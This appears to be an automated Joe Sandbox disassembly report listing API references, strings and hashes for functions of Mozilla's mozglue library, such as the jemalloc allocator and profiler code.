floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9A355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9A35BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9A35E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9A363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9A3693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9A36CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9A3703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9A373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9A3775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9A378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9A3892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9A38BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9A3902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9A3939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9A3970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9A39EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9A3A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9A3AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9A3E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9A3EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9A3EE2

Part of subcall function 6C9A6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C9A61DD
Part of subcall function 6C9A6180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C9A622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9A40F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9A412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9A4157

Part of subcall function 6C9A6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C9A6250
Part of subcall function 6C9A6180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9A6292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9A441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9A4448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C9A484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C9A4863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C9A4878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C9A4896
free.MOZGLUE ref: 6C9A489F

Strings

, xrefs: 6C9A4CD2

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: 8fad99b963a11065199d2a7bc71fd8c73912382f1a113ff929b6e56fbdcc98b5
Instruction ID: 952b395e2d8e97c2632398ded9dcab92ff12587bce95a0ee4973b084aed4a358
Opcode Fuzzy Hash: 8fad99b963a11065199d2a7bc71fd8c73912382f1a113ff929b6e56fbdcc98b5
Instruction Fuzzy Hash: A3F23A74908B808FC725CF28C08469AFBF1FF99358F218A5ED99997711DB31D896CB42

Function 6C9564C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C9564DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C9564F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C956505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C956518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C95652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C95671C
GetCurrentProcess.KERNEL32 ref: 6C956724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C95672F
GetCurrentProcess.KERNEL32 ref: 6C956759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C956764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C956A80
GetSystemInfo.KERNEL32(?), ref: 6C956ABE
__Init_thread_footer.LIBCMT ref: 6C956AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C956AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C956AF7

Strings

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C956798
nvd3d9wrap.dll, xrefs: 6C956500
user32.dll, xrefs: 6C956526
_etoured.dll, xrefs: 6C9564ED
detoured.dll, xrefs: 6C9564DA
nvdxgiwrap.dll, xrefs: 6C956513

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: eca7f5c34d3f726347515c88068b9042fbfb537ad3227ea041aa2ce7f7dad6f4
Instruction ID: 1edf78b3d2284bc31d30ac68e1de68f3e414ca8af520dde29d70f7b3ac25e094
Opcode Fuzzy Hash: eca7f5c34d3f726347515c88068b9042fbfb537ad3227ea041aa2ce7f7dad6f4
Instruction Fuzzy Hash: 5CF1E370A052199FDF20CF24CC88B9AB7B8AF56318F5442D9E809A7741E731EE94CF91

Function 6C9760A0 Relevance: 50.1, APIs: 22, Strings: 6, Instructions: 1142COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9CE7DC), ref: 6C9760C9
LeaveCriticalSection.KERNEL32(6C9CE7DC), ref: 6C97610D
EnterCriticalSection.KERNEL32(?), ref: 6C97618C
LeaveCriticalSection.KERNEL32(?), ref: 6C9761F9

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C976BC7, 6C976F97, 6C976FB2
<jemalloc>, xrefs: 6C976AA9, 6C976B59
: (malloc) Unsupported character in malloc options: ', xrefs: 6C976B6A
MALLOC_OPTIONS, xrefs: 6C976888
Compile-time page size does not divide the runtime one., xrefs: 6C976AAE
MOZ_CRASH(), xrefs: 6C976AB8

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3168844106-429003945
Opcode ID: cf982aa708b8e76d69c9f5b9c89f51fc1c70e8d1c212726d6f02fe5e0c6d5c98
Instruction ID: 924bd65a359b5410310f5bf186255895c35b3e3b4d484109b0d8681635bf4795
Opcode Fuzzy Hash: cf982aa708b8e76d69c9f5b9c89f51fc1c70e8d1c212726d6f02fe5e0c6d5c98
Instruction Fuzzy Hash: 90A2AD71A0A7018FD728CF18C440715BBF5BB86728F29C66DE86ADBB91D731E840CB91

Function 6C9AC4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9AC5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9AC6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C9AC74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C9AC7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C9AC9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9ACC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C9ACD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9ADB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C9ADB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C9ADB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9ADD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C9ADE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C9AE360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9AE432
memcpy.VCRUNTIME140(?,?,?), ref: 6C9AE472

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: bae907e8810e927437c6c7f78ccc7c302c4d6353f053b524679a715debfd98c2
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: AD339E72E0021ACFCB14CFA8C8806ADBBF2FF49314F294269D955AB755D731E946CB90

Function 6C95FD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9CE7B8), ref: 6C95FF81
LeaveCriticalSection.KERNEL32(6C9CE7B8), ref: 6C96022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C960240
EnterCriticalSection.KERNEL32(6C9CE768), ref: 6C96025B
LeaveCriticalSection.KERNEL32(6C9CE768), ref: 6C96027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C95FE99, 6C95FEB7, 6C95FED3, 6C960DB8, 6C960DD3, 6C9619B4
<jemalloc>, xrefs: 6C960D62, 6C960D76, 6C960DA7
: (malloc) Error in VirtualFree(), xrefs: 6C960D67, 6C960D7B, 6C960DAC

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 5cd7faf76bd1ce32a64bc72841513282e34fd6058e03edb32bc20c543e5d79f2
Instruction ID: 36b72fc6d65562d8861e01759330aa918bcf7941eb41a7bc203146412913170b
Opcode Fuzzy Hash: 5cd7faf76bd1ce32a64bc72841513282e34fd6058e03edb32bc20c543e5d79f2
Instruction Fuzzy Hash: 6CC2E271A057418FE714CF29C480716BBE5BF86728F28C66DE4AA8BBD5C771E801CB85

Function 6C9AE680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6C9AE811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9AEAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C9AEBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9AEEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9AF223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C9AF322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9B0E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C9B0E54
memcpy.VCRUNTIME140(?,?,?), ref: 6C9B0EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6C9B0ED4

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: 1c581c26826090403fea634258d2bdb77dee780c4177da247c4bae1fef61fe86
Instruction ID: 2277473041272926a5a4c55c88c069f0ea3cf19ec64afde39ddea44df1b8cad7
Opcode Fuzzy Hash: 1c581c26826090403fea634258d2bdb77dee780c4177da247c4bae1fef61fe86
Instruction Fuzzy Hash: 2A637E71E0025ACFCB04CFA8C9905AEFBB2FF89314F298269D455BB755D730A946CB90

Function 6C983E50 Relevance: 27.0, APIs: 13, Strings: 2, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6C9A7770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C983E7D,?,?,?,6C983E7D,?,?), ref: 6C9A777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6C983F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C983F5C
VerSetConditionMask.NTDLL ref: 6C983F8D
VerSetConditionMask.NTDLL ref: 6C983F99
VerSetConditionMask.NTDLL ref: 6C983FA0
VerSetConditionMask.NTDLL ref: 6C983FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C983FB4

Strings

nvinit.dll, xrefs: 6C984479
nvd3d9wrap.dll, xrefs: 6C984466

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-2380496106
Opcode ID: ef4fe2b1cff894e6288d2536f3cf8b038ed1cea1ad95c32128bfef0773f420d6
Instruction ID: 1228db1dad64cae54524169822890682f4829700a1ed9c99709b07dc63a4acc6
Opcode Fuzzy Hash: ef4fe2b1cff894e6288d2536f3cf8b038ed1cea1ad95c32128bfef0773f420d6
Instruction Fuzzy Hash: BE521432614B889FD715DF34C8D0AAB77F9AF65208F44096DD4928BB82DB34F909CB60

Function 6C96ED10 Relevance: 25.4, APIs: 16, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C96EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C96EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C971695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9716B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C971770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C971A3E

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID:
API String ID: 3693777188-0
Opcode ID: 2df8e08ec20709b641492c9bd8957774f145f92253f4bc383111d1edf3d4b9c8
Instruction ID: 32a1d34e77d4df26c35e2dbdb49bdf28977eca3010ae7e5e3b1b5b0132b0615f
Opcode Fuzzy Hash: 2df8e08ec20709b641492c9bd8957774f145f92253f4bc383111d1edf3d4b9c8
Instruction Fuzzy Hash: 88B32A71E0121ACFDB24CFA9C890AADB7B2FF49304F1581A9D449AB745D731AD86CF90

Function 6C95FEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9CE7B8), ref: 6C95FF81
LeaveCriticalSection.KERNEL32(6C9CE7B8), ref: 6C96022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C960240
EnterCriticalSection.KERNEL32(6C9CE768), ref: 6C96025B
LeaveCriticalSection.KERNEL32(6C9CE768), ref: 6C96027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C95FE99, 6C95FEB7, 6C95FED3, 6C960DB8, 6C960DD3, 6C9619B4, 6C961A10
MOZ_CRASH(), xrefs: 6C960CA7

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: 2186f2c65006664718a6730ec6c0e6480caf0b5a9235733fc1be898f501cb47c
Instruction ID: 081fc1dea1f9a391c0854fe5810ecc3061522587de9f5604ed241765f5b5e471
Opcode Fuzzy Hash: 2186f2c65006664718a6730ec6c0e6480caf0b5a9235733fc1be898f501cb47c
Instruction Fuzzy Hash: A4B2BC716057418FE718CF2AC5D0716BBE5AF86328F28C66CE86A8BBD5D770E840CB45

Function 6C995600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

expected a Count entry, xrefs: 6C995AC3
ProfileBuffer parse error: %s, xrefs: 6C995AC8, 6C995CBB
schema, xrefs: 6C99606D
data, xrefs: 6C996131
expected a Time entry, xrefs: 6C995CB6
name, xrefs: 6C995E79, 6C995E8F

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: 677014fd94a68040626f1060a3df3cfc4f1bfa31cf286ad633d2dc99d947f503
Instruction ID: 7676ee2c398ce7bb0227e43bc74d7294063217171f5c471269d9313ffdcfd414
Opcode Fuzzy Hash: 677014fd94a68040626f1060a3df3cfc4f1bfa31cf286ad633d2dc99d947f503
Instruction Fuzzy Hash: F7925DB1A083418FD724CF28C49079BB7E1BFD9308F588A1DE5999B751DB30E949CB92

Function 6C992E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C992ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C992EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6C992F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C993214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C993242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9936BF

Strings

MOZ_PROFILER_SYMBOLICATE, xrefs: 6C99378D
set , xrefs: 6C9936EC
get , xrefs: 6C993205

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: de930a59368677595f02fa31670a2f3ad4981de6649b725f898cc76576c2ca0a
Instruction ID: 6e724b54cfe440e3238f8579c8b3edfe236c7591883e30181df41e4d3c4dabcb
Opcode Fuzzy Hash: de930a59368677595f02fa31670a2f3ad4981de6649b725f898cc76576c2ca0a
Instruction Fuzzy Hash: 8E325AB02083819FD724CF24C0806AEBBE6BFD9318F58891DE59987751DB31E94ACB53

Function 6C987E10 Relevance: 17.9, APIs: 6, Strings: 4, Instructions: 403COMMON

Download Yara Rule

Strings

schema, xrefs: 6C9881E3, 6C988311
(pre-xul), xrefs: 6C987E88
data, xrefs: 6C988280, 6C9883E1
name, xrefs: 6C987ECF, 6C988335

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema
API String ID: 3412268980-999448898
Opcode ID: 96932ab6ed87353754e642798b4bbe06a88f17808399fea6459169f1681ffcc3
Instruction ID: 137fb366ab11bb3221873d8c9293cae5495d8747650c1118da7950c85f0ccca2
Opcode Fuzzy Hash: 96932ab6ed87353754e642798b4bbe06a88f17808399fea6459169f1681ffcc3
Instruction Fuzzy Hash: C2E18EB1B043408BC714CF68C84065BFBEABFA5318F548A2DE895E7791DB74DD098B92

Function 6C96D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9CE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C97D1C5), ref: 6C96D4F2
LeaveCriticalSection.KERNEL32(6C9CE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C97D1C5), ref: 6C96D50B

Part of subcall function 6C94CFE0: EnterCriticalSection.KERNEL32(6C9CE784), ref: 6C94CFF6
Part of subcall function 6C94CFE0: LeaveCriticalSection.KERNEL32(6C9CE784), ref: 6C94D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C97D1C5), ref: 6C96D52E
EnterCriticalSection.KERNEL32(6C9CE7DC), ref: 6C96D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C96D6A6
LeaveCriticalSection.KERNEL32(6C9CE7DC), ref: 6C96D712
LeaveCriticalSection.KERNEL32(6C9CE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C97D1C5), ref: 6C96D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C96D7EA

Strings

<jemalloc>, xrefs: 6C96D827
: (malloc) Error initializing arena, xrefs: 6C96D82C

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: aa0799d8dd77bf2619a04e42c3eaf18dde6909b4fdcc98bcd27cbf1114175fc4
Instruction ID: 595cecfc4d29e0d5e4664601ca41cfdc610330e5512e11d1dfac02f0d7e05e6d
Opcode Fuzzy Hash: aa0799d8dd77bf2619a04e42c3eaf18dde6909b4fdcc98bcd27cbf1114175fc4
Instruction Fuzzy Hash: 4591C472A087418FE714CF29C59076AB7E5EB99714F24892EE56AC7FC1D730E844CB82

Function 6C965E90 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6C965EDB
memset.VCRUNTIME140(6C9A7765,000000E5,55CCCCCC), ref: 6C965F27
LeaveCriticalSection.KERNEL32(?), ref: 6C965FB2
memset.VCRUNTIME140(6C9A7765,000000E5,9CC09015), ref: 6C9661F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6C967652

Strings

MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C96730D
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C967BCD, 6C967C1F, 6C967C34, 6C9680FD
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C9672E3
MOZ_CRASH(), xrefs: 6C967BA4
